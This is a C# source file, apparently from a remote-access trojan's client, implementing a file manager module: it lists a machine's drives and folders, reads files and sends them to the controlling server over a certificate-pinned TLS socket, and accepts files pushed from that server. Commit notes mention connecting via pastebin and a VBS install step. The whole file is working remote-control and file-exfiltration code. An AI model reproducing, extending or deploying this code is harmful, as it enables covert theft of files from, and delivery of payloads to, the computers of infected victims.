Added Tasks Added connect via pastebin Fixed file manager (upload) Updated client install (vbs)
237 lines
9.2 KiB
C#
237 lines
9.2 KiB
C#
using Client.MessagePack;
|
|
using Client.Sockets;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Diagnostics;
|
|
using System.Net.Sockets;
|
|
using System.Security.Authentication;
|
|
using System.Net.Security;
|
|
using System.Security.Cryptography.X509Certificates;
|
|
using System.Threading;
|
|
|
|
namespace Client.Handle_Packet
|
|
{
|
|
public class FileManager
|
|
{
|
|
public void GetDrivers()
|
|
{
|
|
try
|
|
{
|
|
DriveInfo[] allDrives = DriveInfo.GetDrives();
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
|
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
|
StringBuilder sbDriver = new StringBuilder();
|
|
foreach (DriveInfo d in allDrives)
|
|
{
|
|
if (d.IsReady)
|
|
{
|
|
sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
|
|
}
|
|
msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
|
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
|
}
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public void GetPath(string path)
|
|
{
|
|
try
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
|
StringBuilder sbFolder = new StringBuilder();
|
|
StringBuilder sbFile = new StringBuilder();
|
|
|
|
foreach (string folder in Directory.GetDirectories(path))
|
|
{
|
|
sbFolder.Append(Path.GetFileName(folder) + "-=>" + Path.GetFullPath(folder) + "-=>");
|
|
}
|
|
foreach (string file in Directory.GetFiles(path))
|
|
{
|
|
using (MemoryStream ms = new MemoryStream())
|
|
{
|
|
GetIcon(file).Save(ms, ImageFormat.Png);
|
|
sbFile.Append(Path.GetFileName(file) + "-=>" + Path.GetFullPath(file) + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>" + new FileInfo(file).Length.ToString() + "-=>");
|
|
}
|
|
}
|
|
msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString();
|
|
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
|
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
private Bitmap GetIcon(string file)
|
|
{
|
|
try
|
|
{
|
|
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
|
|
{
|
|
using (Bitmap myBitmap = new Bitmap(file))
|
|
{
|
|
return new Bitmap(myBitmap.GetThumbnailImage(64, 64, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
|
|
}
|
|
}
|
|
else
|
|
using (Icon icon = Icon.ExtractAssociatedIcon(file))
|
|
{
|
|
return icon.ToBitmap();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
return new Bitmap(64, 64);
|
|
}
|
|
}
|
|
|
|
public void DownnloadFile(string file, string dwid)
|
|
{
|
|
try
|
|
{
|
|
Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
|
{
|
|
ReceiveBufferSize = 50 * 1024,
|
|
SendBufferSize = 50 * 1024,
|
|
};
|
|
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
|
SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
|
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
|
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "socketDownload";
|
|
msgpack.ForcePathObject("Command").AsString = "pre";
|
|
msgpack.ForcePathObject("DWID").AsString = dwid;
|
|
msgpack.ForcePathObject("File").AsString = file;
|
|
msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString();
|
|
ChunkSend(msgpack.Encode2Bytes(), Client, SslClient);
|
|
|
|
|
|
MsgPack msgpack2 = new MsgPack();
|
|
msgpack2.ForcePathObject("Packet").AsString = "socketDownload";
|
|
msgpack2.ForcePathObject("Command").AsString = "save";
|
|
msgpack2.ForcePathObject("DWID").AsString = dwid;
|
|
msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file);
|
|
msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file));
|
|
ChunkSend(msgpack2.Encode2Bytes(), Client, SslClient);
|
|
|
|
}
|
|
catch
|
|
{
|
|
return;
|
|
}
|
|
}
|
|
|
|
private void ChunkSend(byte[] msg, Socket client, SslStream ssl)
|
|
{
|
|
try
|
|
{
|
|
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
|
client.Poll(-1, SelectMode.SelectWrite);
|
|
ssl.Write(buffersize);
|
|
ssl.Flush();
|
|
|
|
int chunkSize = 50 * 1024;
|
|
byte[] chunk = new byte[chunkSize];
|
|
using (MemoryStream buffereReader = new MemoryStream(msg))
|
|
{
|
|
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
|
int bytesToRead = (int)buffereReader.Length;
|
|
do
|
|
{
|
|
chunk = binaryReader.ReadBytes(chunkSize);
|
|
bytesToRead -= chunkSize;
|
|
ssl.Write(chunk);
|
|
ssl.Flush();
|
|
} while (bytesToRead > 0);
|
|
|
|
binaryReader.Dispose();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
return;
|
|
}
|
|
}
|
|
|
|
public void ReqUpload(string id)
|
|
{
|
|
Socket Client = null;
|
|
SslStream SslClient = null;
|
|
try
|
|
{
|
|
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
|
{
|
|
ReceiveBufferSize = 50 * 1024,
|
|
SendBufferSize = 50 * 1024,
|
|
};
|
|
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
|
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
|
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
|
|
|
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
|
msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
|
|
msgpack.ForcePathObject("ID").AsString = id;
|
|
ChunkSend(msgpack.Encode2Bytes(), Client, SslClient);
|
|
|
|
|
|
byte[] sslBuffer = new byte[4];
|
|
MemoryStream sslMS = new MemoryStream();
|
|
int sslSize = 0;
|
|
while (Client.Connected)
|
|
{
|
|
while (sslMS.Length != 4)
|
|
{
|
|
int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length);
|
|
sslMS.Write(sslBuffer, 0, read);
|
|
if (read == 0) break;
|
|
}
|
|
sslSize = BitConverter.ToInt32(sslMS.ToArray(), 0);
|
|
sslBuffer = new byte[sslSize];
|
|
sslMS.Dispose();
|
|
sslMS = new MemoryStream();
|
|
while (sslMS.Length != sslSize)
|
|
{
|
|
int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length);
|
|
if (read == 0) break;
|
|
sslMS.Write(sslBuffer, 0, read);
|
|
sslBuffer = new byte[sslSize - sslMS.Length];
|
|
}
|
|
ThreadPool.QueueUserWorkItem(Packet.Read, sslMS.ToArray());
|
|
sslMS.Dispose();
|
|
sslMS = new MemoryStream();
|
|
sslBuffer = new byte[4];
|
|
//SslClient?.Close();
|
|
//Client?.Close();
|
|
//SslClient?.Dispose();
|
|
//Client?.Dispose();
|
|
break;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
SslClient?.Dispose();
|
|
Client?.Dispose();
|
|
}
|
|
}
|
|
|
|
private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
|
{
|
|
#if DEBUG
|
|
return true;
|
|
#endif
|
|
return Settings.ServerCertificate.Equals(certificate);
|
|
}
|
|
|
|
}
|
|
}
|